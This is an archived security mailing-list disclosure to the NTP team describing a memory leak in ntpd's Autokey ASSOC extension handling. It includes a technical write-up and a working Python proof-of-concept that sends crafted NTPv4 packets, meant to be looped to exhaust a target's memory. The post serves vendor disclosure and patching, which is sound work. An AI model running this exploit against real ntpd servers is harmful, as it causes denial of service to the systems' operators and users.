[ntp:security] Low-end memory leak DoS

Brian Martin bmartin at tenable.com
Thu Aug 27 02:41:45 UTC 2015


NTP Team,

During the final testing of the last vulnerability reported, our 
engineer noticed that memory being used by ntpd was growing. With a 
crafted request, a remote attacker can leak 1500 bytes of memory. 
Looped, this can be used eventually cause serious resource issues, but 
may take a couple days. As such, we see it as a low risk issue but 
wanted to pass it along. Attached is a technical write-up and PoC to 
demonstrate it.

Brian Martin
Tenable Security Response
-------------- next part --------------
'''
The bug:
------------------------------------------------------------
ntpd processes symmetric active NTPv4 packets with mulitiple 
extensions. This can cause memory leak as shown below:

int crypto_recv(...)
{
...
  // loop to process (multiple) extensions 
	while ((has_mac = rbufp->recv_length - authlen) > (int)MAX_MAC_LEN) {
...
		case CRYPTO_ASSOC:

			/*
			 * If our state machine is running when this
			 * message arrives, the other fellow might have
			 * restarted. However, this could be an
			 * intruder, so just clamp the poll interval and
			 * find out for ourselves. Otherwise, pass the
			 * extension field to the transmit side.
			 */
			if (peer->crypto & CRYPTO_FLAG_CERT) {
				rval = XEVNT_ERR;
				break;
			}
			if (peer->cmmd) {
				if (peer->assoc != associd) {
					rval = XEVNT_ERR;
					break;
				}
			}
			fp = emalloc(len);
			memcpy(fp, ep, len);
			fp->associd = htonl(peer->associd);
			peer->cmmd = fp;
...
}

Here when processing an extension with an ASSOC Autokey message 
in it, ntpd allocates and copies memory for the incoming extension 
and assigns it to peer->cmmd. However, when mulitple ASSOC messages
are present in a symmetric active NTPv4 packet, memory pointed by 
peer->cmmd was not freed prior to the peer->cmmd = fp assignment. 
This causes a memory leak, which could lead to a DoS.

PoC:
------------------------------------------------------------
This PoC tries to cause memory leak in ntpd. 

Target setup and conditions:
- Target ntpd has Autokey (crypto) enabled.  
- Host running this script and the target host must not go through
  Network Address Translation.
- Run this script repeatly with watch -n 1 python ntp_mem_leak.py <target_ip> 
- Note that since ntpd limits maximum extension size to 2048 bytes, it
  can take a long time (days) to exhaust ntpd memory. 

Testing:
----------------------------------------------------------
- Versions tested: ntp-4.2.8p3, ntp-4.2.8
- All versions compiled on 64-bit CentOS 6.x 
- Only tested IPv4 targets

ntpd high memory utilization screenshot:
-----------------------------------------------------------
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
21059 root      20   0 1740m 1.6g 5328 S  0.0 82.4 100:23.22 ntpd

'''



import sys, socket, hashlib, random
from struct import pack

def usage():
  print "usage  : "+sys.argv[0] + " <victim_ip>  [victim_port]"
  print "example: "+sys.argv[0] + " 192.168.111.222 123"

def genkey(saddr, daddr, keyid, cookie=0):
  data  = saddr + daddr + pack('>LL',keyid, cookie)
  return hashlib.md5(data).digest()  
   
def ntp_pkt(mode, exts, keyid, key):
  # clock unsynchronized & version 4 & mode
  pkt  = pack('B', (3 << 6) | (4 << 3) | (mode & 7))  
  pkt += '\x00'  # stratum
  pkt += '\x06'  # poll interval 
  pkt += '\xea'  # clock precision 
  pkt += '\x00\x00\x00\x00'  #  root delay 
  pkt += '\x00\x00\x00\x00'  #  root dispersion 
  pkt += 'INIT'  #  reference id
  pkt += '\x00' * 8  #  reference time 
  pkt += '\x00' * 8  #  origin time 
  pkt += '\x00' * 8  #  receive time 
  pkt += '\x00' * 8  #  transmit time 
  pkt += exts;

  dgst = hashlib.md5(key + pkt).digest()  
  pkt += pack('>L', keyid) + dgst
 
  return pkt; 

def ntp_ext(code, val, associd):
  ext  = pack('>L', associd)  # association id
  ext += '\x00\x00\x00\x00'   # time stamp
  ext += pack('>L', 0x80001)  # file time stamp

  if(len(val) % 4):
    val += '\x00' * (4 - len(val) % 4)
  
  vallen = len(val)
  ext += pack('>L', vallen) # value len
  ext += val                # value
  ext += pack('>L', 0)      # no signature 

  # Compute extension length
  extlen = 4 + len(ext)  
 
  ext = pack('>BBH', 0x02, code, extlen) + ext
  return ext
  

#
# MAIN
#
if len(sys.argv) != 2 and len(sys.argv) != 3:
  usage()
  sys.exit()

host = str(sys.argv[1])

if(sys.argv == 3):
  port = int(sys.argv[2])
else:
  port = 123

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, port))

saddr = socket.inet_aton(s.getsockname()[0])
daddr = socket.inet_aton(s.getpeername()[0])

keyid = random.randint(0x10000,0xffffffff)
key = genkey(saddr, daddr, keyid)

associd = random.randint(0x1,0xffff)

# Constraints:
#   - Extension value must not exceed MAXHOSTNAME (512)
#   - Total size of extensions must not exceed 2048 bytes
exts = ""
for i in range(4):
  exts += ntp_ext(1, 'A' * 480, associd) 

print "Association ID:      0x%X (%d)" % (associd, associd)
print "Size of extensions:  %d bytes " % (len(exts))
pkt = ntp_pkt(1, exts, keyid, key)
s.send(pkt)


More information about the security mailing list